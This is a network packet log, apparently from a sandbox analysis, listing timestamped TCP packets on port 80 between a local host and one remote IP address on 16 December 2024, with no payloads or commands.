Dec 16, 2024 21:02:34.399525881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.399578094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.400408983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.400429010 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.400461912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.400494099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.401405096 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.401470900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.401485920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.401534081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.402393103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.402451992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.402483940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.402529001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.403362989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.403414965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.403446913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.403491974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.404412985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.404503107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.404535055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.404567003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.405421972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.405473948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.405514956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.405572891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.406471014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.406491041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.406527042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.406558990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.407567978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.407591105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.407629013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.407629967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.408890963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.408940077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.408983946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.409034014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.409640074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.409691095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.409776926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.409840107 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.410423040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.410512924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.410563946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.411461115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.411514997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.411623955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.411688089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.412461996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.412514925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.412750959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.412800074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.413615942 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.413635015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.413667917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.413700104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.414473057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.414542913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.414562941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.414613008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.415513039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.415611029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.415647984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.416554928 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.416606903 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.416666031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.416713953 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.417560101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.417613029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.417669058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.417718887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.418585062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.418637037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.418662071 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.418713093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.419509888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.419560909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.419609070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.419681072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.420614004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.420708895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.420797110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.420932055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.421569109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.421623945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.421713114 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.421756029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.422539949 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.422597885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.565409899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.565439939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.565459967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.565474987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.565494061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.565500975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.565540075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.566370964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.566401005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.566430092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.566462040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.567235947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.567296028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.567361116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.567449093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.568273067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.568348885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.568375111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.568486929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.569257975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.569289923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.569338083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.570331097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.570388079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.570405960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.570488930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.571285963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.571305037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.571353912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.572490931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.572510004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.572566032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.573295116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.573359013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.573419094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.573465109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.574413061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.574471951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.574531078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.574697018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.575304031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.575370073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.575423002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.575531006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.576600075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.576649904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.576699972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.576745033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.577326059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.577518940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.577553988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.577588081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.578419924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.578444004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.578476906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.578510046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.579437971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.579468966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.579513073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.580351114 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.580405951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.580446959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.580566883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.581406116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.581470966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.581523895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.583148003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.583431959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.583451033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.583482981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.583514929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.583853006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.584407091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.584462881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.584466934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.584512949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.585670948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.585690975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.585741043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.586481094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.586499929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.586534023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.586566925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.587486982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.587717056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.587765932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.588357925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.588638067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.588696003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.589390039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.589438915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.589490891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.589616060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.590440989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.590496063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.590555906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.590754032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.591394901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.591485977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.591531038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.592400074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.592442989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.592502117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.592609882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.593430042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.593492031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.593534946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.593584061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.594491959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.594511032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.594552040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.594583035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.595501900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.595534086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.595577955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.595577955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.596474886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.596525908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.596579075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.596631050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.597475052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.597520113 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.597538948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.597580910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.598472118 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.598529100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.598869085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.598911047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.599534035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.599618912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.599622011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.599668026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.600493908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.600542068 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.600577116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.600619078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.601574898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.601594925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.601622105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.601654053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.602565050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.602585077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.602618933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.602650881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.603534937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.603590012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.603626013 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.603761911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.604571104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.604630947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.604688883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.604736090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.605735064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.605753899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.605781078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.605812073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.606523991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.606570959 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.606637001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.606684923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.607547045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.607597113 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.607621908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.607748032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.608536005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.608592987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.608639002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.608701944 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.609628916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.609678030 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.609690905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.609734058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.610584021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.610630989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.610722065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.610765934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.611565113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.611644983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.611685991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.611717939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.612782955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.612903118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.612952948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.612993002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.613656998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.613709927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.613723040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.613799095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.614665031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.614695072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.614744902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.615674019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.615693092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.615729094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.615762949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.616672039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.616761923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.616779089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.616823912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.617779016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.617832899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.757273912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.757303953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.757329941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.757368088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.757390022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.757431984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.757482052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.757530928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.758189917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.758259058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.758467913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.758552074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.759219885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.759283066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.759351015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.759721994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.760344028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.760401011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.760443926 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.761312008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.761363029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.761405945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.761455059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.762237072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.762307882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.762367964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.762840986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.763230085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.763278961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.763520956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.763566017 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.764249086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.764345884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.764436960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.764482021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.765275002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.765341997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.765392065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.765453100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.766298056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.766349077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.766458988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.766676903 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.767297983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.767350912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.767414093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.767460108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.768373966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.768420935 CET	49812	80	192.168.2.4	31.41.244.11
